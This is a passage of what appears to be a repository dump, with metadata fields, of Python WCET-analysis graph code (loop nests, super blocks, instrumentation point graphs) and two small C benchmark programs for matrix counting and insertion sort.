containment = {v: v for v in ppg}\n data = {v: set() for v in ppg}\n dfs = DepthFirstSearch(ppg, ppg.entry)\n for v in reversed(dfs.pre_order()):\n back_edges = [e for e in ppg.predecessors(v) if e in dfs.back_edges]\n if back_edges:\n # Sort back edges according to their post-order numbering, then reverse, so that we visit all successors\n # of a vertex before the vertex itself\n back_edges.sort(key=lambda e: dfs.post_order_number(e.predecessor()), reverse=True)\n order = []\n visited = set()\n header = v\n tails = set()\n for e in back_edges:\n if not ppg.pre_dominator_tree().is_ancestor(e.successor(), e.predecessor()):\n messages.error_message(\n \"Edge {} in '{}' identifies an irreducible loop\".format(str(e.predecessor()), ppg.name))\n do_search(e.predecessor())\n tails.add(e.predecessor())\n\n for w in reversed(order):\n containment[w] = header\n if unify_shared_loops:\n data[w].add(header)\n elif w in tails:\n data[w].add(w)\n\n if w != header:\n # Propagate reachability information concerning loop tails to immediate predecessors.\n # We ignore the loop header so that the information does not spill out to enclosing loop.\n for e in ppg.predecessors(w):\n data[containment[e.predecessor()]].update(data[w])\n\n loop_vertices = {}\n for w in order:\n # Do not add an inner loop header to the partition for this header.\n if w not in [loop.header for loop in self._loops]:\n if frozenset(data[w]) not in loop_vertices:\n loop = LoopBody(Vertex.get_vertex_id(), header)\n loop.tails = tails\n loop_vertices[frozenset(data[w])] = loop\n self.add_vertex(loop)\n loop = loop_vertices[frozenset(data[w])]\n loop.append(w)\n\n # Clear the reachability information in readiness for enclosing loops.\n data[header].clear()\n\n def __model_control_flow_into_and_out_of_loop(self, ppg):\n edges = {}\n for v in ppg:\n if isinstance(v.program_point, Edge):\n loop = self.find_loop(v)\n loop_of_predecessor = self.find_loop(ppg[v.program_point.predecessor()])\n loop_of_successor = self.find_loop(ppg[v.program_point.successor()])\n\n if loop != loop_of_predecessor:\n if not self.has_edge(loop_of_predecessor, loop):\n edge = LoopTransition(loop_of_predecessor, loop, LoopTransition.Direction.EXIT)\n self.add_edge(edge)\n edges[(loop_of_predecessor, loop)] = edge\n edge = edges[(loop_of_predecessor, loop)]\n edge.add(TransitionEdge(ppg[v.program_point.predecessor()], v))\n\n if loop != loop_of_successor:\n if not self.has_edge(loop, loop_of_successor):\n edge = LoopTransition(loop, loop_of_successor, LoopTransition.Direction.ENTRY)\n self.add_edge(edge)\n edges[(loop, loop_of_successor)] = edge\n edge = edges[(loop, loop_of_successor)]\n edge.add(TransitionEdge(v, ppg[v.program_point.successor()]))\n\n if self.is_tail(v):\n loop = self.find_loop(v)\n if not self.has_edge(loop, loop):\n edge = LoopTransition(loop, loop, LoopTransition.Direction.BACK)\n self.add_edge(edge)\n edges[(loop, loop)] = edge\n edge = edges[(loop, loop)]\n edge.add(TransitionEdge(v, ppg[v.program_point.successor()]))\n\n def add_vertex(self, v: Vertex):\n FlowGraph.add_vertex(self, v)\n self._loops.append(v)\n\n def __iter__(self):\n for loop in self._loops:\n yield loop\n\n def is_outermost_loop(self, loop):\n return loop == self._loops[-1]\n\n def is_header(self, v):\n if v in self._headers:\n return True\n elif len(self._headers) != self.number_of_vertices():\n for loop in self:\n if v == loop.header:\n self._headers.add(v)\n return True\n return False\n\n def is_tail(self, v):\n if v in self._tails:\n return True\n else:\n for loop in self:\n if v in loop.tails:\n self._tails.add(v)\n return True\n return False\n\n def find_loop(self, v: ProgramPointVertex):\n if self._program_point_to_loop[v] is None:\n for loop in self:\n if v in loop:\n self._program_point_to_loop[v] = loop\n return self._program_point_to_loop[v]\n\n def induce(self, ppg, header, guarantee_single_exit=False):\n messages.debug_message('Inducing loop subgraph for header {}'.format(header))\n\n induced_graph = ProgramPointGraph(ppg.program, ppg.name)\n loop = self.find_loop(header)\n\n # Add program points in the loop body.\n for v in loop:\n induced_graph.add_vertex(v)\n\n # Add edges between program points in the loop body.\n for v in loop:\n for succcessor_edge in ppg.successors(v):\n if succcessor_edge.successor() in induced_graph and succcessor_edge.successor() != header:\n induced_graph.add_edge(succcessor_edge)\n\n # Add program points and edges that model control flow out of loop.\n for transition_edge in self.successors(loop):\n if transition_edge.direction == LoopTransition.Direction.EXIT:\n for edge in transition_edge:\n if edge.successor() not in induced_graph:\n induced_graph.add_vertex(edge.successor())\n induced_graph.add_edge(edge)\n elif transition_edge.direction == LoopTransition.Direction.ENTRY:\n for edge in transition_edge:\n if edge.successor() not in induced_graph:\n induced_graph.add_vertex(edge.successor())\n induced_graph.add_edge(edge)\n\n # Add program points and edges that model control flow into the loop from inner loops.\n for transition_edge in self.predecessors(loop):\n if transition_edge.direction == LoopTransition.Direction.EXIT:\n for edge in transition_edge:\n induced_graph.add_edge(TransitionEdge(transition_edge.predecessor().header, edge.successor()))\n\n # Set the entry of the induced graph.\n induced_graph.entry = header\n\n if guarantee_single_exit:\n # Set the exit of the induced graph, if instructed.\n exits = [v for v in induced_graph if len(induced_graph.successors(v)) == 0 or self.is_tail(v)]\n if len(exits) == 1:\n (induced_graph.exit,) = exits\n else:\n dummy_program_point = ProgramPointVertex(Vertex.get_vertex_id(True), Vertex(Vertex.get_vertex_id()))\n induced_graph.add_vertex(dummy_program_point)\n induced_graph.exit = dummy_program_point\n for exit_program_point in exits:\n induced_graph.add_edge(TransitionEdge(exit_program_point, dummy_program_point))\n return induced_graph\n\n def dotify(self, suffix=''):\n data = []\n if self._entry:\n queue = [self._entry]\n visited = set()\n while queue:\n v = queue.pop()\n visited.add(v)\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n if not(e.successor() in queue or e.successor() in visited):\n queue.insert(0, e.successor())\n\n if suffix:\n filename = '{}.{}.lnt.{}.dot'.format(self.program.basename(), self.name, suffix)\n else:\n filename = '{}.{}.lnt.dot'.format(self.program.basename(), self.name)\n dot.generate(filename, data)\n\n\nclass InstrumentationPointGraph(ProgramPointGraph):\n @staticmethod\n def create(ppg: ProgramPointGraph, lnt: LoopNests, db):\n # Add selected instrumented program points.\n ipg = InstrumentationPointGraph(ppg.program, ppg.name)\n for v in ppg:\n ipg.add_vertex(v)\n\n for v in ppg:\n for successor_edge in ppg.successors(v):\n ipg.add_edge(successor_edge)\n\n def disconnect(ipg, v, back_edge, loop):\n for predecessor_edge in ipg.predecessors(v):\n if predecessor_edge.predecessor() != v:\n for successor_edge in ipg.successors(v):\n if successor_edge.successor() != v:\n edge = TransitionEdge(predecessor_edge.predecessor(), successor_edge.successor())\n edge.extend(predecessor_edge)\n edge.extend([v])\n edge.extend(successor_edge)\n ipg.add_edge(edge)\n\n if (back_edge and\n db.is_instrumentation(predecessor_edge.predecessor().program_point) and\n db.is_instrumentation(successor_edge.successor().program_point) and\n predecessor_edge.predecessor() in loop and\n successor_edge.successor() in loop):\n edge.set_back_edge()\n ipg.remove_vertex(v)\n\n loop_union = {}\n for loop in lnt:\n union = loop[:]\n loop_union[loop] = union\n for successor_edge in lnt.successors(loop):\n if successor_edge.direction == LoopTransition.Direction.ENTRY:\n nested_loop = successor_edge.successor()\n union.extend(loop_union[nested_loop])\n\n to_remove = [v for v in loop if not db.is_instrumentation(v.program_point)]\n\n for v in to_remove:\n if v != loop.header and not lnt.is_tail(v):\n disconnect(ipg, v, False, union)\n\n for v in to_remove:\n if v in ipg:\n disconnect(ipg, v, True, union)\n\n (ipg.entry,) = [v for v in ipg if v == ppg.entry]\n (ipg.exit,) = [v for v in ipg if v == ppg.exit]\n return ipg\n\n def dotify(self, suffix=''):\n data = []\n for v in self:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n\n if suffix:\n filename = '{}.{}.ipg.{}.dot'.format(self.program.basename(), self.name, suffix)\n else:\n filename = '{}.{}.ipg.dot'.format(self.program.basename(), self.name)\n dot.generate(filename, data)\n\n def trace_filename(self):\n return '{}.{}.ipg.trace'.format(self.program.basename(), self.name)\n\n\nclass SuperBlockGraph(DirectedGraph, ProgramData):\n def __init__(self, lnt: LoopNests):\n DirectedGraph.__init__(self)\n ProgramData.__init__(self, lnt.program, lnt.name)\n self.__create(lnt)\n\n def __create(self, lnt):\n for induced_subgraph in lnt.induce():\n dominator_graph = DominatorGraph(induced_subgraph)\n dominator_graph.dotify()\n strong_components = StrongComponents(dominator_graph)\n scc_to_super_block, junctions = self._add_vertices(induced_subgraph, strong_components)\n self.__add_edges(induced_subgraph, strong_components, scc_to_super_block, junctions)\n\n def _add_vertices(self, induced_subgraph, strong_components):\n scc_to_super_block = {}\n for scc_id in strong_components:\n super_block = SuperBlock(Vertex.get_vertex_id())\n scc_to_super_block[scc_id] = super_block\n self.add_vertex(super_block)\n\n dfs = DepthFirstSearch(induced_subgraph, induced_subgraph.entry)\n for v in reversed(dfs.post_order()):\n if not v.is_dummy():\n scc_id = strong_components[v]\n super_block = scc_to_super_block[scc_id]\n super_block.append(v)\n if isinstance(v.program_point, Vertex):\n super_block.representative = v\n\n for super_block in scc_to_super_block.values():\n if not super_block.representative:\n # No representative, so pick the first\n super_block.representative = super_block[0]\n\n junctions = {}\n edges = set()\n for super_block in scc_to_super_block.values():\n for v in super_block:\n if len(induced_subgraph.successors(v)) > 1:\n junctions[v] = Junction(Vertex.get_vertex_id(), v)\n edges.add(Edge(super_block, junctions[v]))\n\n for edge in edges:\n self.add_vertex(edge.successor())\n self.add_edge(edge)\n\n return scc_to_super_block, junctions\n\n def __add_edges(self, induced_subgraph, strong_components, scc_to_super_block, junctions):\n for super_block in scc_to_super_block.values():\n v = super_block[0]\n if not isinstance(v.program_point, Vertex):\n (pred_edge,) = induced_subgraph.predecessors(v)\n predecessor = junctions[pred_edge.predecessor()]\n self.add_edge(Edge(predecessor, super_block))\n else:\n for pred_edge in induced_subgraph.predecessors(v):\n predecessor = scc_to_super_block[strong_components[pred_edge.predecessor()]]\n self.add_edge(Edge(predecessor, super_block))\n\n def super_blocks(self):\n for v in self:\n if isinstance(v, SuperBlock):\n yield v\n\n def junctions(self):\n for v in self:\n if isinstance(v, Junction):\n yield v\n\n def dotify(self):\n data = []\n for v in self:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n filename = '{}.{}.super.dot'.format(self.program.basename, self.name)\n dot.generate(filename, data)\n\n\nclass SyntaxTree(Tree):\n def __init__(self, g: FlowGraph):\n Tree.__init__(self)\n self.g = g\n self._cache = {}\n self._post_dominance_frontier = DominanceFrontiers(g, g.post_dominator_tree())\n self._root = self.__make_sequence_subtree(g.entry, g.exit, True)\n\n def __make_sequence_subtree(self, source: Vertex, target: Vertex, inclusive: bool):\n seq = Sequence(Vertex.get_vertex_id())\n self.add_vertex(seq)\n\n walker = source\n while walker != target:\n if len(self.g.predecessors(walker)) > 1 and len(self._post_dominance_frontier[walker]) > 1:\n if walker != source:\n if walker not in self._cache:\n subroot = self.__make_sequence_subtree(walker, target, False)\n self._cache[walker] = subroot\n else:\n subroot = self._cache[walker]\n self.add_edge(Edge(seq, subroot))\n walker = target\n else:\n self.add_vertex(walker)\n self.add_edge(Edge(seq, walker))\n if len(self.g.successors(walker)) == 1:\n print(self.g.name, source, target, walker)\n (e,) = self.g.successors(walker)\n walker = e.successor()\n else:\n self.add_edge(Edge(seq, self.__make_alternative_subtree(walker)))\n (dominator_e,) = self.g.post_dominator_tree().predecessors(walker)\n walker = dominator_e.predecessor()\n\n if inclusive:\n self.add_vertex(target)\n self.add_edge(Edge(seq, target))\n\n return seq\n\n def __make_alternative_subtree(self, branch: Vertex):\n alt = Alternative(Vertex.get_vertex_id())\n self.add_vertex(alt)\n\n (dominator_e,) = self.g.post_dominator_tree().predecessors(branch)\n for e in self.g.successors(branch):\n seq = self.__make_sequence_subtree(e.successor(), dominator_e.predecessor(), False)\n self.add_edge(Edge(alt, seq))\n\n return alt\n\n def dotify(self):\n data = []\n for v in self:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n filename = '{}.{}.ast.dot'.format(self.g.program, self.g.name)\n dot.generate(filename, data)\n\n" }, { "alpha_fraction": 0.5726937055587769, "alphanum_fraction": 0.578228771686554, "avg_line_length": 35.621620178222656, "blob_id": "2c181ac72f70477799533d8f9777b392c628c006", "content_id": "3b582c3c0eaae9c5040db9cd50e4ce633277ac4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2710, "license_type": "no_license", "max_line_length": 131, "num_lines": 74, "path": "/tools/super_block_calculations.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import argparse\nimport os\nimport shutil\nimport sys\nimport threading\nimport timeit\n\nfrom calculations import calculations\nfrom graphs import graph\nfrom system import program, database\nfrom utils import messages\n\n\ndef main(**kwargs):\n prog = program.IO.read(kwargs['filename'])\n prog.cleanup()\n with database.Database(kwargs['database']) as db:\n for subprogram in prog:\n subprogram.cfg.dotify()\n ppg = graph.ProgramPointGraph.create_from_control_flow_graph(subprogram.cfg)\n ppg.dotify()\n\n for i in range(0, kwargs['repeat']):\n lnt = graph.LoopNests(ppg)\n lnt.dotify()\n\n ilp_for_ppg = calculations.create_ilp_for_program_point_graph(ppg, lnt, db)\n ilp_for_ppg.solve('{}{}.ppg.ilp'.format(prog.basename(), ppg.name))\n\n start = timeit.default_timer()\n super_graph = graph.SuperBlockGraph(lnt)\n super_graph.dotify()\n end = timeit.default_timer()\n\n ilp_for_super = calculations.create_ilp_for_super_block_graph(super_graph, lnt, db)\n ilp_for_super.solve('{}{}.super.ilp'.format(prog.basename(), ppg.name))\n ilp_for_super.add_to_construction_time(end - start)\n\n messages.verbose_message('>>>>>', ppg.name, \"PASSED\" if ilp_for_ppg.wcet == ilp_for_super.wcet else \"FAILED \" * 10)\n messages.verbose_message(ilp_for_ppg)\n messages.verbose_message(ilp_for_super, new_lines=2)\n\n\ndef parse_the_command_line():\n parser = argparse.ArgumentParser(description='Do WCET calculation using super blocks')\n\n parser.add_argument('--filename',\n help='read the program from this file',\n required=True)\n\n parser.add_argument('--database',\n help='use the WCET data in this file',\n required=True)\n\n parser.add_argument('--repeat',\n type=int,\n help='repeat the calculation this many times',\n default=1,\n metavar='<INT>')\n\n parser.add_argument('--folded',\n action='store_true',\n help='fold super blocks before constraint solving',\n default=False)\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n assert sys.version_info >= (3, 0), 'Script requires Python 3.0 or greater to run'\n assert shutil.which('lp_solve', mode=os.X_OK), 'Script requires lp_solve to be in your path'\n threading.stack_size(2 ** 26)\n sys.setrecursionlimit(2 ** 20)\n main(**vars(parse_the_command_line()))\n" }, { "alpha_fraction": 0.5562784671783447, "alphanum_fraction": 0.5731945633888245, "avg_line_length": 17.297618865966797, "blob_id": "77bab687c82aafde5d466ca32344d830ba33764b", "content_id": "36350a7c4acc5bb4a4e4b08b79aeb62bbcb2d9f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1537, "license_type": "no_license", "max_line_length": 77, "num_lines": 84, "path": "/benchmarks/matrix_count/matrix_count.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Matrix count taken from MDH suite and modified\n * by Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of 400 integers since there is\n * a 20*20 matrix to be initialised. The program does the following:\n * 1) It counts the number of positive numbers in the matrix.\n * 2) It sums the positive numbers.\n * 3) It counts the number of negative numbers in the matrix.\n * 4) It sums the negative numbers.\n */\n\n#define UPPERLIMIT 5\ntypedef int matrix[UPPERLIMIT][UPPERLIMIT];\n\nint Postotal;\nint Negtotal;\nint Poscnt;\nint Negcnt;\n\nvoid\nmatrix_count (matrix A)\n{\n int i, j;\n int Ptotal = 0;\n int Ntotal = 0;\n int Pcnt = 0;\n int Ncnt = 0;\n\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n if (A[i][j] < 0)\n {\n Ntotal += A[i][j];\n Ncnt++;\n }\n else\n {\n Ptotal += A[i][j];\n Pcnt++;\n }\n }\n }\n\n Postotal = Ptotal;\n Poscnt = Pcnt;\n Negtotal = Ntotal;\n Negcnt = Ncnt;\n}\n\nint\nmain (int argc, char *argv[])\n{\n int i, j, k;\n matrix A;\n\n /*\n * There is a matrix with X*X dimensions that needs to be filled up.\n * This many values need to be passed on the command-line as a consequence.\n */\n if (argc != UPPERLIMIT * UPPERLIMIT + 1)\n {\n return 1;\n }\n\n /*\n * Initialise matrix A.\n */\n k = 0;\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n A[i][j] = atoi (argv[k + 1]);\n k++;\n }\n }\n\n matrix_count (A);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5741574764251709, "alphanum_fraction": 0.5761358737945557, "avg_line_length": 50.417545318603516, "blob_id": "1f5d58003dd9a73c7b7d12b621b623c9ee99032f", "content_id": "f8b46a8daae33edb2ba68aefbd60509a8c5d0adf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14658, "license_type": "no_license", "max_line_length": 147, "num_lines": 285, "path": "/GPUTimingAnalysis/src/IPGs.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "from DirectedGraphs import DirectedGraph, dummyVertexID\nfrom Vertices import HeaderVertex, Ipoint\nfrom Edges import IPGEdge\nimport Debug\n\nedgeID = 1\n\nclass IPG (DirectedGraph):\n def __init__(self, icfg, lnt=None):\n DirectedGraph.__init__(self)\n self.__branchDivergence = False\n self.__branchDivergentEdges = []\n self.__entryID = dummyVertexID\n self.__exitID = dummyVertexID\n self.__icfg = icfg\n self.__lnt = lnt\n self.__ipointIDToVertex = {}\n self.__auxiliaryData = _AuxiliaryData()\n self.__visited = {}\n self.__initialise()\n self.__doDepthFirstSearch(self.__icfg.getEntryID())\n self.__addEdgesUsingLNT()\n self.__setEntryAndExit()\n self.setName(icfg.getName())\n del self.__visited\n \n def updateWithBranchDivergentPaths (self):\n self.__branchDivergence = True\n for level, vertices in self.__lnt.levelIterator():\n for v in vertices:\n if isinstance(v, HeaderVertex):\n headerID = v.getHeaderID()\n if not self.__lnt.isSelfLoopHeader(headerID):\n if not isinstance(v, Ipoint):\n self.__auxiliaryData.vertexToReachable[headerID][headerID] = [headerID]\n self.__auxiliaryData.headerID = headerID\n self.__solveDFF(headerID)\n self.__collapseInnerLoops(headerID)\n \n def getIpointVertex (self, ipointID):\n assert ipointID in self.__ipointIDToVertex, \"Unable to find Ipoint with trace ID 0x%04X\" % ipointID\n return self.__ipointIDToVertex[ipointID]\n \n def getEntryID (self):\n assert self.__entryID != dummyVertexID, \"Entry to IPG not found\"\n return self.__entryID\n \n def getExitID (self):\n assert self.__exitID != dummyVertexID, \"Exit to IPG not found\"\n return self.__exitID\n \n def isBranchDivergentEdge (self, predID, succID):\n return (predID, succID) in self.__branchDivergentEdges\n \n def __initialise (self):\n for v in self.__icfg:\n vertexID = v.getVertexID()\n self.__visited[vertexID] = False\n self.__auxiliaryData.vertexToReachable[vertexID] = {} \n # Ipoint actions\n if self.__icfg.isIpoint(vertexID):\n ipointv = Ipoint(vertexID, v.getIpointID())\n self.vertices[vertexID] = ipointv\n self.__ipointIDToVertex[v.getIpointID()] = ipointv\n if self.__lnt.isLoopHeader(vertexID):\n self.__auxiliaryData.ipointToHeader[vertexID] = vertexID\n else:\n headerv = self.__lnt.getInternalHeaderVertex(self.__lnt.getVertex(vertexID).getParentID())\n self.__auxiliaryData.ipointToHeader[vertexID] = headerv.getHeaderID()\n # Header actions\n if self.__lnt.isLoopHeader(vertexID):\n # Ignore self loops\n if not self.__lnt.isSelfLoopHeader(vertexID):\n self.__auxiliaryData.headerToIpoints[vertexID] = self.__lnt.getIpointsInLoopBody(vertexID)\n self.__auxiliaryData.headerToReachable[vertexID] = {}\n self.__auxiliaryData.headerToTopSorts[vertexID] = []\n self.__auxiliaryData.headerToIterationEdges[vertexID] = [] \n \n def __doDepthFirstSearch (self, vertexID):\n self.__visited[vertexID] = True\n v = self.__icfg.getVertex(vertexID)\n for succID in v.getSuccessorIDs():\n if self.__visited[succID] == False:\n self.__doDepthFirstSearch(succID)\n # Get the root of the LNT\n rootv = self.__lnt.getInternalHeaderVertex(self.__lnt.getRootID())\n if vertexID != rootv.getHeaderID():\n treev = self.__lnt.getVertex(vertexID)\n headerv = self.__lnt.getInternalHeaderVertex(treev.getParentID())\n headerID = headerv.getHeaderID()\n # Insert the vertex visited at the front of the topological sort for the loop\n # in which it is contained\n self.__auxiliaryData.headerToTopSorts[headerID].insert(0, vertexID)\n if self.__lnt.isLoopHeader(vertexID):\n outerHeaderv = self.__lnt.getInternalHeaderVertex(headerv.getParentID())\n outerHeaderID = outerHeaderv.getHeaderID()\n self.__auxiliaryData.headerToTopSorts[outerHeaderID].insert(0, vertexID)\n else:\n self.__auxiliaryData.headerToTopSorts[vertexID].insert(0, vertexID)\n \n def __addEdgesUsingLNT (self):\n for level, vertices in self.__lnt.levelIterator():\n for v in vertices:\n if isinstance(v, HeaderVertex):\n headerID = v.getHeaderID()\n if not self.__lnt.isSelfLoopHeader(headerID):\n if not isinstance(v, Ipoint):\n self.__auxiliaryData.vertexToReachable[headerID][headerID] = [headerID]\n self.__auxiliaryData.headerID = headerID\n self.__solveDFF(headerID)\n self.__collapseInnerLoops(headerID)\n \n def __solveDFF (self, headerID):\n Debug.debugMessage(\"Building IPG in CFG* loop %s\" % headerID, 5)\n self.__auxiliaryData.changed = True\n self.__auxiliaryData.iteration = 0\n \n while self.__auxiliaryData.changed:\n self.__auxiliaryData.changed = False\n self.__auxiliaryData.iteration += 1\n \n for vertexID in self.__auxiliaryData.headerToTopSorts[headerID]:\n v = self.__icfg.getVertex(vertexID)\n for predID in v.getPredecessorIDs():\n analyseEdge = False\n \n if vertexID == headerID:\n if self.__lnt.isLoopBackEdge(predID, headerID) and self.__auxiliaryData.iteration > 1:\n analyseEdge = True\n elif not self.__lnt.isLoopHeader(vertexID):\n analyseEdge = True\n elif not self.__lnt.isLoopBackEdge(predID, vertexID):\n analyseEdge = True\n \n if analyseEdge:\n Debug.debugMessage(\"Iteration %s, edge %s => %s\" \n % (self.__auxiliaryData.iteration, predID, vertexID), 15)\n if self.__icfg.isIpoint(predID):\n self.__update(predID, vertexID, headerID, predID)\n else:\n for keyID in self.__auxiliaryData.vertexToReachable[predID].keys():\n if self.__icfg.isIpoint(keyID):\n self.__update(keyID, vertexID, headerID, predID)\n \n if self.__auxiliaryData.iteration == 1 and headerID in self.__auxiliaryData.vertexToReachable[predID]:\n self.__updateLoopReachability(headerID, vertexID, predID)\n \n def __update (self, ipointID, vertexID, headerID, predID):\n ipointv = self.getVertex(ipointID)\n \n if self.__icfg.isIpoint(vertexID):\n if not ipointv.hasSuccessor(vertexID):\n self.__auxiliaryData.changed = True\n self.__addEdge(ipointID, vertexID)\n if ipointID != predID:\n self.__updateEdgeLabel(ipointID, vertexID,\n self.__auxiliaryData.vertexToReachable[predID][ipointID])\n \n if self.__auxiliaryData.iteration == 2:\n self.__setIterationEdge(ipointID, vertexID)\n elif ipointID != predID:\n self.__updateEdgeLabel(ipointID, vertexID,\n self.__auxiliaryData.vertexToReachable[predID][ipointID])\n else:\n if self.__lnt.isLoopHeader(vertexID) and not self.__lnt.isSelfLoopHeader(vertexID) and vertexID != headerID:\n self.__updateLoopExits(vertexID, ipointID, predID)\n self.__addLoopEntryEdges(ipointID, vertexID, predID)\n else:\n if ipointID not in self.__auxiliaryData.vertexToReachable[vertexID]:\n self.__auxiliaryData.changed = True\n self.__auxiliaryData.vertexToReachable[vertexID][ipointID] = [vertexID]\n if ipointID != predID:\n self.__auxiliaryData.vertexToReachable[vertexID][ipointID].extend(self.__auxiliaryData.vertexToReachable[predID][ipointID])\n elif ipointID != predID:\n self.__updateAndTestForIteration(self.__auxiliaryData.vertexToReachable[vertexID][ipointID], \n self.__auxiliaryData.vertexToReachable[predID][ipointID])\n \n def __updateAndTestForIteration (self, oldSet, extraElements):\n oldsize = len(set(oldSet))\n oldSet.extend(extraElements)\n newsize = len(set(oldSet))\n if oldsize != newsize:\n self.__auxiliaryData.changed = True\n \n def __updateLoopReachability (self, headerID, predID, vertexID):\n if self.__icfg.isIpoint(vertexID):\n if vertexID not in self.__auxiliaryData.headerToReachable[headerID]:\n self.__auxiliaryData.changed = True\n self.__auxiliaryData.headerToReachable[headerID][vertexID].extend(self.__auxiliaryData.vertexToReachable[predID][headerID])\n else:\n pass\n \n def __updateLoopExits (self, headerID, keyID, predID):\n for exitID in self.__lnt.getLoopExits(headerID):\n if headerID in self.__auxiliaryData.vertexToReachable[exitID]:\n if keyID not in self.__auxiliaryData.vertexToReachable[exitID]:\n self.__auxiliaryData.changed = True\n self.__auxiliaryData.vertexToReachable[exitID][keyID] = []\n if keyID != predID:\n self.__auxiliaryData.vertexToReachable[exitID][keyID].extend(self.__auxiliaryData.vertexToReachable[predID][keyID])\n self.__auxiliaryData.vertexToReachable[exitID][keyID].extend(self.__auxiliaryData.vertexToReachable[exitID][headerID])\n elif keyID != predID:\n self.__updateAndTestForIteration(self.__auxiliaryData.vertexToReachable[exitID][keyID], \n self.__auxiliaryData.vertexToReachable[predID][keyID])\n \n def __addLoopEntryEdges (self, sourceID, headerID, predID):\n sourcev = self.getVertex(sourceID)\n for destinationID in self.__auxiliaryData.headerToReachable[headerID].keys():\n if not sourcev.hasSuccessor(destinationID):\n self.__auxiliaryData.changed = True\n self.__addEdge(sourceID, destinationID)\n if sourceID != predID:\n self.__updateEdgeLabel(sourceID, destinationID,\n self.__auxiliaryData.vertexToReachable[predID][sourceID])\n self.__updateEdgeLabel(sourceID, destinationID, \n self.__auxiliaryData.headerToReachable[headerID][destinationID])\n if self.__auxiliaryData.iteration == 2:\n self.__setIterationEdge(sourceID, destinationID) \n elif self.__auxiliaryData.iteration == 2:\n self.__setIterationEdge(sourceID, destinationID)\n \n def __addEdge (self, predID, succID):\n global edgeID\n Debug.debugMessage(\"Adding IPG Edge %s => %s\" % (predID, succID), 10)\n predv = self.getVertex(predID)\n succv = self.getVertex(succID)\n predv.addIpointSuccessor (succv.getIpointID(), succID)\n succe = IPGEdge(succID, edgeID)\n prede = IPGEdge(predID, edgeID)\n predv.addSuccessorEdge(succe)\n succv.addPredecessorEdge(prede) \n edgeID += 1\n if self.__branchDivergence:\n self.__branchDivergentEdges.append((predID, succID))\n \n def __setIterationEdge (self, predID, succID):\n predv = self.getVertex(predID)\n succv = self.getVertex(succID)\n succe = predv.getSuccessorEdge(succID)\n prede = succv.getPredecessorEdge(predID)\n succe.setIterationEdge()\n prede.setIterationEdge()\n \n def __updateEdgeLabel (self, predID, succID, extraElements):\n predv = self.getVertex(predID)\n succv = self.getVertex(succID)\n succe = predv.getSuccessorEdge(succID)\n prede = succv.getPredecessorEdge(predID)\n size1 = succe.getEdgeLabelSize()\n size2 = prede.getEdgeLabelSize()\n assert size1 == size2, \"Discrepancy between size of edge labels for %s => %s. Found both %s and %s\" % (predID, succID, size1, size2)\n succe.addToEdgeLabel(extraElements)\n prede.addToEdgeLabel(extraElements)\n succe.addToEdgeLabel([predID, succID])\n prede.addToEdgeLabel([predID, succID])\n newSize = succe.getEdgeLabelSize()\n if newSize != size1:\n self.__auxiliaryData.changed = True\n \n def __collapseInnerLoops (self, headerID):\n headerv = self.__lnt.getVertex(self.__lnt.getVertex(headerID).getParentID())\n for succID in headerv.getSuccessorIDs():\n if self.__lnt.isLoopHeader(succID) and not self.__lnt.isSelfLoopHeader(succID):\n ipoints = self.__auxiliaryData.headerToIpoints[succID]\n self.__auxiliaryData.headerToIpoints[headerID].extend(ipoints)\n for ipointID in ipoints:\n self.__auxiliaryData.ipointToHeader[ipointID] = headerID\n \n def __setEntryAndExit (self):\n entryv = self.vertices[self.__icfg.getEntryID()]\n self.__entryID = entryv.getVertexID()\n assert entryv.numberOfPredecessors() == 1, \"Entry vertex %s of IPG has multiple predecessors\" % self.__entryID\n for predID in entryv.getPredecessorIDs():\n self.__exitID = predID\n\nclass _AuxiliaryData ():\n def __init__(self):\n self.changed = False\n self.iteration = 0\n self.vertexToReachable = {}\n self.headerToReachable = {}\n self.headerToTopSorts = {}\n self.headerToIterationEdges = {}\n self.headerToIpoints = {}\n self.ipointToHeader = {}\n " }, { "alpha_fraction": 0.5279361605644226, "alphanum_fraction": 0.5427594184875488, "avg_line_length": 15.528302192687988, "blob_id": "0c4b43ca0ad4e40a558efed7f16514995ae355ff", "content_id": "dea0079a3c1fa87b410c83f2da1155a2acb0a3fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 877, "license_type": "no_license", "max_line_length": 75, "num_lines": 53, "path": "/benchmarks/insertsort/insertsort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Insert sort taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\nvoid\ninsertsort (int ARRAY_SIZE, int a[])\n{\n int i, j, key;\n\n for (j = 1; j < ARRAY_SIZE; j++)\n {\n key = a[j];\n i = j - 1;\n\n while (a[i] > key && i >= 0)\n {\n a[i+1] = a[i];\n i--;\n }\n\n a[i+1] = key;\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; i++)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n insertsort (ARRAY_SIZE, TV);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.3553571403026581, "alphanum_fraction": 0.4537946283817291, "avg_line_length": 33.1984748840332, "blob_id": 